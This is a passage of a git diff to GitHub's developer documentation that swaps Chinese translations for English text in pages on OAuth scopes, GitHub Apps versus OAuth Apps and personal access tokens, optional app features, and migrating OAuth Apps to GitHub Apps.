or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. + `read:repo_hook`| Grants read and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. +**`admin:org`** | Fully manage the organization and its teams, projects, and memberships. + `write:org`| Read and write access to organization membership, organization projects, and team membership. + `read:org`| Read-only access to organization membership, organization projects, and team membership. +**`admin:public_key`** | Fully manage public keys. + `write:public_key`| Create, list, and view details for public keys. + `read:public_key`| List and view details for public keys. +**`admin:org_hook`** | Grants read, write, ping, and delete access to organization hooks. **Note:** OAuth tokens will only be able to perform these actions on organization hooks which were created by the OAuth App. Personal access tokens will only be able to perform these actions on organization hooks created by a user. +**`gist`** | Grants write access to gists. +**`notifications`** | Grants:
                    * read access to a user's notifications
                    * mark as read access to threads
                    * watch and unwatch access to a repository, and
                    * read, write, and delete access to thread subscriptions. +**`user`** | Grants read/write access to profile info only. Note that this scope includes `user:email` and `user:follow`. + `read:user`| Grants access to read a user's profile data. + `user:email`| Grants read access to a user's email addresses. + `user:follow`| Grants access to follow or unfollow other users. +**`delete_repo`** | Grants access to delete adminable repositories. +**`write:discussion`** | Allows read and write access for team discussions. + `read:discussion` | Allows read access for team discussions.{% ifversion fpt or ghae or ghec %} +**`write:packages`** | Grants access to upload or publish a package in {% data variables.product.prodname_registry %}. For more information, see "[Publishing a package](/github/managing-packages-with-github-packages/publishing-a-package)". +**`read:packages`** | Grants access to download or install packages from {% data variables.product.prodname_registry %}. For more information, see "[Installing a package](/github/managing-packages-with-github-packages/installing-a-package)". +**`delete:packages`** | Grants access to delete packages from {% data variables.product.prodname_registry %}. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}."{% endif %} +**`admin:gpg_key`** | Fully manage GPG keys. + `write:gpg_key`| Create, list, and view details for GPG keys. + `read:gpg_key`| List and view details for GPG keys.{% ifversion fpt or ghec %} +**`codespace`** | Grants the ability to create and manage codespaces. Codespaces can expose a GITHUB_TOKEN which may have a different set of scopes. For more information, see "[Security in Codespaces](/codespaces/codespaces-reference/security-in-codespaces#authentication)." +**`workflow`** | Grants the ability to add and update {% data variables.product.prodname_actions %} workflow files. Workflow files can be committed without this scope if the same file (with both the same path and contents) exists on another branch in the same repository. Workflow files can expose `GITHUB_TOKEN` which may have a different set of scopes. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."{% endif %} {% note %} -**注：**您的 OAuth 应用程序可以在初始重定向中请求作用域。 您可以使用 `%20` 以空格分隔多个作用域来指定它们： +**Note:** Your OAuth App can request the scopes in the initial redirection. You +can specify multiple scopes by separating them with a space using `%20`: https://github.com/login/oauth/authorize? client_id=...& @@ -88,16 +88,31 @@ X-Accepted-OAuth-Scopes: user {% endnote %} -## 请求的作用域和授予的作用域 +## Requested scopes and granted scopes -`scope` 属性列出了用户授予的附加到令牌的作用域。 通常，这些作用域与您请求的作用域相同。 但是，用户可以编辑其作用域，实际上授予应用程序更少的权限（相比您最初请求的权限）。 此外，用户还可以在 OAuth 流程完成后编辑令牌作用域。 您应该意识到这种可能性，并相应地调整应用程序的行为。 +The `scope` attribute lists scopes attached to the token that were granted by +the user. Normally, these scopes will be identical to what you requested. +However, users can edit their scopes, effectively +granting your application less access than you originally requested. Also, users +can edit token scopes after the OAuth flow is completed. +You should be aware of this possibility and adjust your application's behavior +accordingly. -如果用户选择授予更少的权限（相比您最初请求的权限），妥善处理这种错误情况非常重要。 例如，应用程序可以警告或以其他方式告诉用户，他们可用的功能会减少或者无法执行某些操作。 +It's important to handle error cases where a user chooses to grant you +less access than you originally requested. For example, applications can warn +or otherwise communicate with their users that they will see reduced +functionality or be unable to perform some actions. -此外，应用程序总是可以将用户送回流程以获取更多权限，但不要忘记，用户总是可以说不。 +Also, applications can always send users back through the flow again to get +additional permission, but don’t forget that users can always say no. -请查看[身份验证基础知识指南](/guides/basics-of-authentication/)，其中提供了有关处理可修改令牌作用域的提示。 +Check out the [Basics of Authentication guide](/guides/basics-of-authentication/), which +provides tips on handling modifiable token scopes. -## 标准化作用域 +## Normalized scopes -请求多个作用域时，将用标准化的作用域列表保存令牌，而放弃其他请求的作用域隐式包含的那些作用域。 例如，请求 `user,gist,user:email` 将生成仅具有 `user` 和 `gist` 作用域的令牌，因为使用 `user:email` 作用域授予的权限包含在 `user` 作用域中。 +When requesting multiple scopes, the token is saved with a normalized list +of scopes, discarding those that are implicitly included by another requested +scope. For example, requesting `user,gist,user:email` will result in a +token with `user` and `gist` scopes only since the access granted with +`user:email` scope is included in the `user` scope. diff --git a/translations/zh-CN/content/developers/apps/getting-started-with-apps/about-apps.md b/translations/zh-CN/content/developers/apps/getting-started-with-apps/about-apps.md index 39435b98d6..bcb5178dfb 100644 --- a/translations/zh-CN/content/developers/apps/getting-started-with-apps/about-apps.md +++ b/translations/zh-CN/content/developers/apps/getting-started-with-apps/about-apps.md @@ -1,6 +1,6 @@ --- -title: 关于应用程序 -intro: '您可以构建与 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 的集成来增加灵活性并减少自己工作流程中的摩擦。{% ifversion fpt or ghec %} 您也可以与 [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) 上的其他API 集成。{% endif %}' +title: About apps +intro: 'You can build integrations with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs to add flexibility and reduce friction in your own workflow.{% ifversion fpt or ghec %} You can also share integrations with others on [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace).{% endif %}' redirect_from: - /apps/building-integrations/setting-up-a-new-integration/ - /apps/building-integrations/ @@ -15,92 +15,91 @@ versions: topics: - GitHub Apps --- +Apps on {% data variables.product.prodname_dotcom %} allow you to automate and improve your workflow. You can build apps to improve your workflow.{% ifversion fpt or ghec %} You can also share or sell apps in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace). To learn how to list an app on {% data variables.product.prodname_marketplace %}, see "[Getting started with GitHub Marketplace](/marketplace/getting-started/)."{% endif %} -{% data variables.product.prodname_dotcom %} 上的应用程序允许您自动化并改进工作流程。 您可以构建应用程序来改进工作流程。{% ifversion fpt or ghec %} 您也可以在 [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) 中分享或销售应用程序。 要了解如何在 {% data variables.product.prodname_marketplace %} 上列出应用程序，请参阅“[GitHub Marketplace 使用入门](/marketplace/getting-started/)”。{% endif %} - -{% data reusables.marketplace.github_apps_preferred %}，但 GitHub 支持 {% data variables.product.prodname_oauth_apps %} 和 {% data variables.product.prodname_github_apps %}。 有关选择应用程序类型的信息，请参阅“[GitHub 应用程序和 OAuth 应用程序之间的差异](/developers/apps/differences-between-github-apps-and-oauth-apps)”。 +{% data reusables.marketplace.github_apps_preferred %}, but GitHub supports both {% data variables.product.prodname_oauth_apps %} and {% data variables.product.prodname_github_apps %}. For information on choosing a type of app, see "[Differences between GitHub Apps and OAuth Apps](/developers/apps/differences-between-github-apps-and-oauth-apps)." {% data reusables.apps.general-apps-restrictions %} -有关构建 {% data variables.product.prodname_github_app %} 的过程演练，请参阅“[构建第一个 {% data variables.product.prodname_github_app %}](/apps/building-your-first-github-app)”。 +For a walkthrough of the process of building a {% data variables.product.prodname_github_app %}, see "[Building Your First {% data variables.product.prodname_github_app %}](/apps/building-your-first-github-app)." -## 关于 {% data variables.product.prodname_github_apps %} +## About {% data variables.product.prodname_github_apps %} -{% data variables.product.prodname_github_apps %} 是 GitHub 中的一流产品。 {% data variables.product.prodname_github_app %} 应用程序以自己的名义运行，通过 API 直接使用自己的身份进行操作，这意味着您无需作为独立用户维护自动程序或服务帐户。 +{% data variables.product.prodname_github_apps %} are first-class actors within GitHub. A {% data variables.product.prodname_github_app %} acts on its own behalf, taking actions via the API directly using its own identity, which means you don't need to maintain a bot or service account as a separate user. -{% data variables.product.prodname_github_apps %} 可以直接安装在组织和用户帐户上，并获得对特定仓库的访问权限。 它们拥有内置 web 挂钩和狭窄的特定权限。 设置 {% data variables.product.prodname_github_app %}时，可以选择希望它访问的仓库。 例如，您可以设置一个名为 `MyGitHub` 的应用程序，允许它在 `octocat` 仓库且_仅_在 `octocat` 仓库写入议题。 要安装 {% data variables.product.prodname_github_app %}，您必须是组织所有者或在仓库中具有管理员权限。 +{% data variables.product.prodname_github_apps %} can be installed directly on organizations and user accounts and granted access to specific repositories. They come with built-in webhooks and narrow, specific permissions. When you set up your {% data variables.product.prodname_github_app %}, you can select the repositories you want it to access. For example, you can set up an app called `MyGitHub` that writes issues in the `octocat` repository and _only_ the `octocat` repository. To install a {% data variables.product.prodname_github_app %}, you must be an organization owner or have admin permissions in a repository. {% data reusables.apps.app_manager_role %} -{% data variables.product.prodname_github_apps %} 是需要托管在某处的应用程序。 有关涵盖服务器和托管服务的分步说明，请参阅“[构建第一个 {% data variables.product.prodname_github_app %}](/apps/building-your-first-github-app)。” +{% data variables.product.prodname_github_apps %} are applications that need to be hosted somewhere. For step-by-step instructions that cover servers and hosting, see "[Building Your First {% data variables.product.prodname_github_app %}](/apps/building-your-first-github-app)." -要改进自己的工作流程，可以创建一个包含多个脚本或整个应用程序的 {% data variables.product.prodname_github_app %}，然后将此应用程序连接至许多其他工具。 例如，您可以将 {% data variables.product.prodname_github_apps %} 连接至 GitHub、Slack、自己可能拥有的其他内部应用程序、电子邮件程序或其他 API。 +To improve your workflow, you can create a {% data variables.product.prodname_github_app %} that contains multiple scripts or an entire application, and then connect that app to many other tools. For example, you can connect {% data variables.product.prodname_github_apps %} to GitHub, Slack, other in-house apps you may have, email programs, or other APIs. -创建 {% data variables.product.prodname_github_apps %} 时，请记住以下方法： +Keep these ideas in mind when creating {% data variables.product.prodname_github_apps %}: {% ifversion fpt or ghec %} * {% data reusables.apps.maximum-github-apps-allowed %} {% endif %} -* {% data variables.product.prodname_github_app %} 的操作应独立于用户（除非此应用程序使用[用户至服务器](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)令牌）。 {% data reusables.apps.expiring_user_authorization_tokens %} +* A {% data variables.product.prodname_github_app %} should take actions independent of a user (unless the app is using a [user-to-server](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). {% data reusables.apps.expiring_user_authorization_tokens %} -* 请确保 {% data variables.product.prodname_github_app %} 与特定仓库集成。 -* {% data variables.product.prodname_github_app %} 应该连接到个人帐户或组织。 -* 不要指望 {% data variables.product.prodname_github_app %} 知道并尽其所能。 -* 如果您只需要“使用GitHub登录”服务，请不要使用 {% data variables.product.prodname_github_app %}。 但是，{% data variables.product.prodname_github_app %} 可以使用[用户识别流程](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)登录用户账户_和_执行其他操作。 -* 如果您_只_想作为 GitHub 用户并做用户可以执行的所有操作，请不要构建 {% data variables.product.prodname_github_app %}。{% ifversion fpt or ghec %} +* Make sure the {% data variables.product.prodname_github_app %} integrates with specific repositories. +* The {% data variables.product.prodname_github_app %} should connect to a personal account or an organization. +* Don't expect the {% data variables.product.prodname_github_app %} to know and do everything a user can. +* Don't use a {% data variables.product.prodname_github_app %} if you just need a "Login with GitHub" service. But a {% data variables.product.prodname_github_app %} can use a [user identification flow](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/) to log users in _and_ do other things. +* Don't build a {% data variables.product.prodname_github_app %} if you _only_ want to act as a GitHub user and do everything that user can do.{% ifversion fpt or ghec %} * {% data reusables.apps.general-apps-restrictions %}{% endif %} -要开始开发 {% data variables.product.prodname_github_apps %}，请先“[创建 {% data variables.product.prodname_github_app %}](/apps/building-github-apps/creating-a-github-app/)”。{% ifversion fpt or ghec %} 要了解如何使用 {% data variables.product.prodname_github_app %} 清单创建预配置的 {% data variables.product.prodname_github_apps %}，请参阅“[从清单创建 {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/creating-github-apps-from-a-manifest/)”。{% endif %} +To begin developing {% data variables.product.prodname_github_apps %}, start with "[Creating a {% data variables.product.prodname_github_app %}](/apps/building-github-apps/creating-a-github-app/)."{% ifversion fpt or ghec %} To learn how to use {% data variables.product.prodname_github_app %} Manifests, which allow people to create preconfigured {% data variables.product.prodname_github_apps %}, see "[Creating {% data variables.product.prodname_github_apps %} from a manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/)."{% endif %} -## 关于 {% data variables.product.prodname_oauth_apps %} +## About {% data variables.product.prodname_oauth_apps %} -OAuth2 是一种协议，它允许外部应用程序请求授权在不使用密码的情况下访问用户 {% data variables.product.prodname_dotcom %} 帐户中的私有信息。 此协议优先于基本验证，因为令牌可能仅限于特定类型的数据，用户可以随时撤销。 +OAuth2 is a protocol that lets external applications request authorization to private details in a user's {% data variables.product.prodname_dotcom %} account without accessing their password. This is preferred over Basic Authentication because tokens can be limited to specific types of data and can be revoked by users at any time. {% data reusables.apps.deletes_ssh_keys %} -{% data variables.product.prodname_oauth_app %} 使用 {% data variables.product.prodname_dotcom %} 作为身份提供程序以验证为授予应用程序访问权限的用户。 这意味着，当用户授予 {% data variables.product.prodname_oauth_app %} 访问权限时，将授权访问其帐户有权访问的_所有_仓库，以及他们所属的、未阻止第三方访问的任何组织。 +An {% data variables.product.prodname_oauth_app %} uses {% data variables.product.prodname_dotcom %} as an identity provider to authenticate as the user who grants access to the app. This means when a user grants an {% data variables.product.prodname_oauth_app %} access, they grant permissions to _all_ repositories they have access to in their account, and also to any organizations they belong to that haven't blocked third-party access. -如果要创建比简单脚本的处理范围更复杂的流程，构建 {% data variables.product.prodname_oauth_app %} 是一个很好的选择。 请注意，{% data variables.product.prodname_oauth_apps %} 是需要托管在某处的应用程序。 +Building an {% data variables.product.prodname_oauth_app %} is a good option if you are creating more complex processes than a simple script can handle. Note that {% data variables.product.prodname_oauth_apps %} are applications that need to be hosted somewhere. -创建 {% data variables.product.prodname_oauth_apps %} 时，请记住以下方法： +Keep these ideas in mind when creating {% data variables.product.prodname_oauth_apps %}: {% ifversion fpt or ghec %} * {% data reusables.apps.maximum-oauth-apps-allowed %} {% endif %} -* {% data variables.product.prodname_oauth_app %} 在所有 {% data variables.product.prodname_dotcom %} 中（例如，在提供用户通知时）应始终代表经身份验证的 {% data variables.product.prodname_dotcom %} 用户。 -* 通过为经身份验证的用户启用“使用 {% data variables.product.prodname_dotcom %} 进行登录”，{% data variables.product.prodname_oauth_app %} 可用作身份提供程序。 -* 如果您希望应用程序作用于单个仓库，请不要构建 {% data variables.product.prodname_oauth_app %}。 使用 `repo` OAuth 作用域，{% data variables.product.prodname_oauth_apps %} 可以作用于经验证用户的_所有_仓库。 -* 不要构建 {% data variables.product.prodname_oauth_app %} 作为团队或公司的应用程序。 {% data variables.product.prodname_oauth_apps %} 将验证为单个用户，因此，如果有人创建了 {% data variables.product.prodname_oauth_app %} 供公司使用，那么一旦他们离开公司，其他人将无法访问它。{% ifversion fpt or ghec %} +* An {% data variables.product.prodname_oauth_app %} should always act as the authenticated {% data variables.product.prodname_dotcom %} user across all of {% data variables.product.prodname_dotcom %} (for example, when providing user notifications). +* An {% data variables.product.prodname_oauth_app %} can be used as an identity provider by enabling a "Login with {% data variables.product.prodname_dotcom %}" for the authenticated user. +* Don't build an {% data variables.product.prodname_oauth_app %} if you want your application to act on a single repository. With the `repo` OAuth scope, {% data variables.product.prodname_oauth_apps %} can act on _all_ of the authenticated user's repositories. +* Don't build an {% data variables.product.prodname_oauth_app %} to act as an application for your team or company. {% data variables.product.prodname_oauth_apps %} authenticate as a single user, so if one person creates an {% data variables.product.prodname_oauth_app %} for a company to use, and then they leave the company, no one else will have access to it.{% ifversion fpt or ghec %} * {% data reusables.apps.oauth-apps-restrictions %}{% endif %} -有关 {% data variables.product.prodname_oauth_apps %} 的更多信息，请参阅“[创建 {% data variables.product.prodname_oauth_app %}](/apps/building-oauth-apps/creating-an-oauth-app/)”和“[注册应用程序](/rest/guides/basics-of-authentication#registering-your-app)”。 +For more on {% data variables.product.prodname_oauth_apps %}, see "[Creating an {% data variables.product.prodname_oauth_app %}](/apps/building-oauth-apps/creating-an-oauth-app/)" and "[Registering your app](/rest/guides/basics-of-authentication#registering-your-app)." -## 个人访问令牌 +## Personal access tokens -[个人访问令牌](/articles/creating-a-personal-access-token-for-the-command-line/)是一个字符串，与 [OAuth 令牌](/apps/building-oauth-apps/authorizing-oauth-apps/)功能相似，您可以通过[作用域](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/)指定其权限。 个人访问令牌还与密码类似，但您能拥有很多令牌，而且可以随时撤销对每个令牌的访问权限。 +A [personal access token](/articles/creating-a-personal-access-token-for-the-command-line/) is a string of characters that functions similarly to an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/) in that you can specify its permissions via [scopes](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). A personal access token is also similar to a password, but you can have many of them and you can revoke access to each one at any time. -例如，您可以启用个人访问令牌，以写入仓库。 然后，如果您运行 cURL 命令或编写脚本，在仓库中[创建议题](/rest/reference/issues#create-an-issue)，需要传递个人访问令牌进行验证。 您可以将个人访问令牌存储为环境变量，以免每次使用时都要输入。 +As an example, you can enable a personal access token to write to your repositories. If then you run a cURL command or write a script that [creates an issue](/rest/reference/issues#create-an-issue) in your repository, you would pass the personal access token to authenticate. You can store the personal access token as an environment variable to avoid typing it every time you use it. -使用个人访问令牌时，请牢记以下几点： +Keep these ideas in mind when using personal access tokens: -* 记得只能用此令牌代表您自己。 -* 您可以执行一次性 cURL 请求。 -* 您可以运行个人脚本。 -* 不要为整个团队或公司设置脚本。 -* 不要设置共享用户帐户来充当机器人用户。{% ifversion fpt or ghes > 3.2 or ghae-issue-4374 or ghec %} -* 请为您的个人访问令牌设置期限，以帮助保护您的信息安全。{% endif %} +* Remember to use this token to represent yourself only. +* You can perform one-off cURL requests. +* You can run personal scripts. +* Don't set up a script for your whole team or company to use. +* Don't set up a shared user account to act as a bot user.{% ifversion fpt or ghes > 3.2 or ghae-issue-4374 or ghec %} +* Do set an expiration for your personal access tokens, to help keep your information secure.{% endif %} -## 确定要构建的集成 +## Determining which integration to build -在开始创建集成之前，您需要确定使用 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 访问、验证和交互的最佳方式。 下图提供了一些问题，您在决定是否对集成使用个人访问令牌、{% data variables.product.prodname_github_apps %} 或 {% data variables.product.prodname_oauth_apps %} 时可以考虑这些问题。 +Before you get started creating integrations, you need to determine the best way to access, authenticate, and interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs. The following image offers some questions to ask yourself when deciding whether to use personal access tokens, {% data variables.product.prodname_github_apps %}, or {% data variables.product.prodname_oauth_apps %} for your integration. -![应用程序问题流程简介](/assets/images/intro-to-apps-flow.png) +![Intro to apps question flow](/assets/images/intro-to-apps-flow.png) -请考虑关于您的集成需要如何操作及它需要访问什么等问题： +Consider these questions about how your integration needs to behave and what it needs to access: -* 我的集成是只像我一样，还是更像一个应用程序？ -* 我是否希望它作为单独的实体独立于我运行？ -* 它是否能访问我可以访问的一切，或者说我想限制它的访问权限？ -* 它是简单还是复杂？ 例如，个人访问令牌对简单的脚本和 cURL 有益，而 {% data variables.product.prodname_oauth_app %} 可以处理更复杂的脚本。 +* Will my integration act only as me, or will it act more like an application? +* Do I want it to act independently of me as its own entity? +* Will it access everything that I can access, or do I want to limit its access? +* Is it simple or complex? For example, personal access tokens are good for simple scripts and cURLs, whereas an {% data variables.product.prodname_oauth_app %} can handle more complex scripting. -## 请求支持 +## Requesting support {% data reusables.support.help_resources %} diff --git a/translations/zh-CN/content/developers/apps/getting-started-with-apps/activating-optional-features-for-apps.md b/translations/zh-CN/content/developers/apps/getting-started-with-apps/activating-optional-features-for-apps.md index 9b1821aea1..41045d3bb6 100644 --- a/translations/zh-CN/content/developers/apps/getting-started-with-apps/activating-optional-features-for-apps.md +++ b/translations/zh-CN/content/developers/apps/getting-started-with-apps/activating-optional-features-for-apps.md @@ -1,6 +1,6 @@ --- -title: 激活应用程序的可选功能 -intro: '您可以测试 {% data variables.product.prodname_github_apps %} 和 {% data variables.product.prodname_oauth_apps %} 的新可选功能。' +title: Activating optional features for apps +intro: 'You can test new optional features for your {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %}.' redirect_from: - /developers/apps/activating-beta-features-for-apps - /developers/apps/activating-optional-features-for-apps @@ -11,23 +11,22 @@ versions: ghec: '*' topics: - GitHub Apps -shortTitle: 激活可选功能 +shortTitle: Activate optional features --- - {% warning %} -**警告：** {% ifversion ghes < 3.1 %} 测试版 {% else %} 可选 {% endif %} 功能可能会变动。 +**Warning:** {% ifversion ghes < 3.1 %} Beta {% else %} Optional {% endif %} features are subject to change. {% endwarning %} -## 激活 {% data variables.product.prodname_github_apps %} 的 {% ifversion ghes < 3.1 %} 测试版 {% else %} 可选 {% endif %} 功能 +## Activating {% ifversion ghes < 3.1 %} beta {% else %} optional {% endif %} features for {% data variables.product.prodname_github_apps %} {% data reusables.user-settings.access_settings %} {% data reusables.user-settings.developer_settings %} -3. 选择您要为其启用 {% ifversion ghes < 3.1 %} 测试版 {% else %} 可选 {% endif %} 功能的 {% data variables.product.prodname_github_app %}。 +3. Select the {% data variables.product.prodname_github_app %} you want to enable {% ifversion ghes < 3.1 %} a beta {% else %} an optional {% endif %} feature for. {% data reusables.apps.optional_feature_activation %} -## 激活 {% data variables.product.prodname_oauth_apps %} 的 {% ifversion ghes < 3.1 %} 测试版 {% else %} 可选 {% endif %} 功能 +## Activating {% ifversion ghes < 3.1 %} beta {% else %} optional {% endif %} features for {% data variables.product.prodname_oauth_apps %} {% data reusables.user-settings.access_settings %} {% data reusables.user-settings.developer_settings %} diff --git a/translations/zh-CN/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md b/translations/zh-CN/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md index 8f28e2d066..81c514324b 100644 --- a/translations/zh-CN/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md +++ b/translations/zh-CN/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md @@ -1,6 +1,6 @@ --- -title: 将 OAuth 应用程序迁移到 GitHub 应用程序 -intro: '了解将 {% data variables.product.prodname_oauth_app %} 迁移到 {% data variables.product.prodname_github_app %} 的好处，以及如何迁移未在 {% data variables.product.prodname_marketplace %} 中上架的 {% data variables.product.prodname_oauth_app %}。' +title: Migrating OAuth Apps to GitHub Apps +intro: 'Learn about the advantages of migrating your {% data variables.product.prodname_oauth_app %} to a {% data variables.product.prodname_github_app %} and how to migrate an {% data variables.product.prodname_oauth_app %} that isn''t listed on {% data variables.product.prodname_marketplace %}. ' redirect_from: - /apps/migrating-oauth-apps-to-github-apps - /developers/apps/migrating-oauth-apps-to-github-apps @@ -11,100 +11,99 @@ versions: ghec: '*' topics: - GitHub Apps -shortTitle: 从 OAuth 应用程序迁移 +shortTitle: Migrate from OAuth Apps --- +This article provides guidelines for existing integrators who are considering migrating from an OAuth App to a GitHub App. -本文为考虑从 OAuth 应用程序迁移到 GitHub 应用程序的现有集成者提供指南。 +## Reasons for switching to GitHub Apps -## 切换到 GitHub 应用程序的原因 +[GitHub Apps](/apps/) are the officially recommended way to integrate with GitHub because they offer many advantages over a pure OAuth-based integration: -[GitHub 应用程序](/apps/)是官方推荐的与 GitHub 集成的方式，因为相比纯粹的基于 OAuth 的集成，它们可提供许多优势： +- [Fine-grained permissions](/apps/differences-between-apps/#requesting-permission-levels-for-resources) target the specific information a GitHub App can access, allowing the app to be more widely used by people and organizations with security policies than OAuth Apps, which cannot be limited by permissions. +- [Short-lived tokens](/apps/differences-between-apps/#token-based-identification) provide a more secure authentication method over OAuth tokens. An OAuth token does not expire until the person who authorized the OAuth App revokes the token. GitHub Apps use tokens that expire quickly, creating a much smaller window of time for compromised tokens to be in use. +- [Built-in, centralized webhooks](/apps/differences-between-apps/#webhooks) receive events for all repositories and organizations the app can access. Conversely, OAuth Apps require configuring a webhook for each repository and organization accessible to the user. +- [Bot accounts](/apps/differences-between-apps/#machine-vs-bot-accounts) don't consume a {% data variables.product.product_name %} seat and remain installed even when the person who initially installed the app leaves the organization. +- Built-in support for OAuth is still available to GitHub Apps using [user-to-server endpoints](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/). +- Dedicated [API rate limits](/apps/building-github-apps/understanding-rate-limits-for-github-apps/) for bot accounts scale with your integration. +- Repository owners can [install GitHub Apps](/apps/differences-between-apps/#who-can-install-github-apps-and-authorize-oauth-apps) on organization repositories. If a GitHub App's configuration has permissions that request an organization's resources, the org owner must approve the installation. +- Open Source community support is available through [Octokit libraries](/rest/overview/libraries) and other frameworks such as [Probot](https://probot.github.io/). +- Integrators building GitHub Apps have opportunities to adopt earlier access to APIs. -- [精细权限](/apps/differences-between-apps/#requesting-permission-levels-for-resources)控制 GitHub 应用程序可以访问的特定信息，这使其比 OAuth 应用程序更广地适用于具有安全策略的用户和组织，因为后者不受权限限制。 -- [短期令牌](/apps/differences-between-apps/#token-based-identification)提供比 OAuth 令牌更安全的身份验证方法。 在授权 OAuth 应用程序的人撤销令牌之前，OAuth 令牌不会过期。 GitHub 应用程序使用快速过期的令牌，将受损令牌的使用限制到更小的时限。 -- [内置的集中式 web 挂钩](/apps/differences-between-apps/#webhooks)接收应用程序可以访问的所有仓库和组织的事件。 相反，OAuth 应用程序需要为用户可访问的每个仓库和组织配置一个 web 挂钩。 -- [机器人帐户](/apps/differences-between-apps/#machine-vs-bot-accounts)不占用 {% data variables.product.product_name %} 席位，即使最初安装应用程序的人离开组织，它仍然保持安装状态， -- GitHub 应用程序仍然可以使用[用户到服务器端点](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)对 OAuth 进行内置支持。 -- 专用于机器人帐户的 [API 速率限制](/apps/building-github-apps/understanding-rate-limits-for-github-apps/)随集成而扩展。 -- 仓库所有者可以在组织仓库上[安装 GitHub 应用程序](/apps/differences-between-apps/#who-can-install-github-apps-and-authorize-oauth-apps)。 如果 GitHub 应用程序的配置具有请求组织资源的权限，则组织所有者必须批准安装。 -- 可通过 [Octokit 库](/rest/overview/libraries)和其他框架（例如 [Probot](https://probot.github.io/)）获得开源社区支持。 -- 构建 GitHub 应用程序的集成者有机会采用较早的 API 访问方式。 +## Converting an OAuth App to a GitHub App -## 将 OAuth 应用程序转换为 GitHub 应用程序 +These guidelines assume that you have a registered OAuth App{% ifversion fpt or ghec %} that may or may not be listed in GitHub Marketplace{% endif %}. At a high level, you'll need to follow these steps: -这些指南假定您拥有一个注册的 OAuth 应用程序{% ifversion fpt or ghec %}，它可能在 GitHub Marketplace 中上架，也可能没上架{% endif %}。 在较高级别，您需要执行以下步骤： +1. [Review the available API endpoints for GitHub Apps](#review-the-available-api-endpoints-for-github-apps) +1. [Design to stay within API rate limits](#design-to-stay-within-api-rate-limits) +1. [Register a new GitHub App](#register-a-new-github-app) +1. [Determine the permissions your app requires](#determine-the-permissions-your-app-requires) +1. [Subscribe to webhooks](#subscribe-to-webhooks) +1. [Understand the different methods of authentication](#understand-the-different-methods-of-authentication) +1. [Direct users to install your GitHub App on repositories](#direct-users-to-install-your-github-app-on-repositories) +1. [Remove any unnecessary repository hooks](#remove-any-unnecessary-repository-hooks) +1. [Encourage users to revoke access to your OAuth App](#encourage-users-to-revoke-access-to-your-oauth-app) +1. [Delete the OAuth App](#delete-the-oauth-app) -1. [查看 GitHub 应用程序可用的 API 端点](#review-the-available-api-endpoints-for-github-apps) -1. [设计保持在 API 速率限制内](#design-to-stay-within-api-rate-limits) -1. [注册新的 GitHub 应用程序](#register-a-new-github-app) -1. [确定应用程序所需的权限](#determine-the-permissions-your-app-requires) -1. [订阅 web 挂钩](#subscribe-to-webhooks) -1. [了解不同的身份验证方法](#understand-the-different-methods-of-authentication) -1. [指导用户在仓库中安装您的 GitHub 应用程序](#direct-users-to-install-your-github-app-on-repositories) -1. [删除任何不必要的仓库挂钩](#remove-any-unnecessary-repository-hooks) -1. [鼓励用户撤销 OAuth 应用程序的访问权限](#encourage-users-to-revoke-access-to-your-oauth-app) -1. [删除 OAuth 应用程序](#delete-the-oauth-app) +### Review the available API endpoints for GitHub Apps -### 查看 GitHub 应用程序可用的 API 端点 +While the majority of [REST API](/rest) endpoints and [GraphQL]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql) queries are available to GitHub Apps today, we are still in the process of enabling some endpoints. Review the [available REST endpoints](/rest/overview/endpoints-available-for-github-apps) to ensure that the endpoints you need are compatible with GitHub Apps. Note that some of the API endpoints enabled for GitHub Apps allow the app to act on behalf of the user. See "[User-to-server requests](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#user-to-server-requests)" for a list of endpoints that allow a GitHub App to authenticate as a user. -尽管目前大多数 [REST API](/rest) 端点和 [GraphQL]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql) 查询都可用于 GitHub 应用程序，但我们仍在不断启用更多端点。 查看[可用的 REST 端点](/rest/overview/endpoints-available-for-github-apps)，确保您需要的端点与 GitHub 应用程序兼容。 请注意，为 GitHub 应用程序启用的某些 API 端点允许应用程序代表用户执行操作。 有关允许 GitHub 应用程序验证为用户的端点列表，请参阅“[用户到服务器请求](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#user-to-server-requests)”。 +We recommend 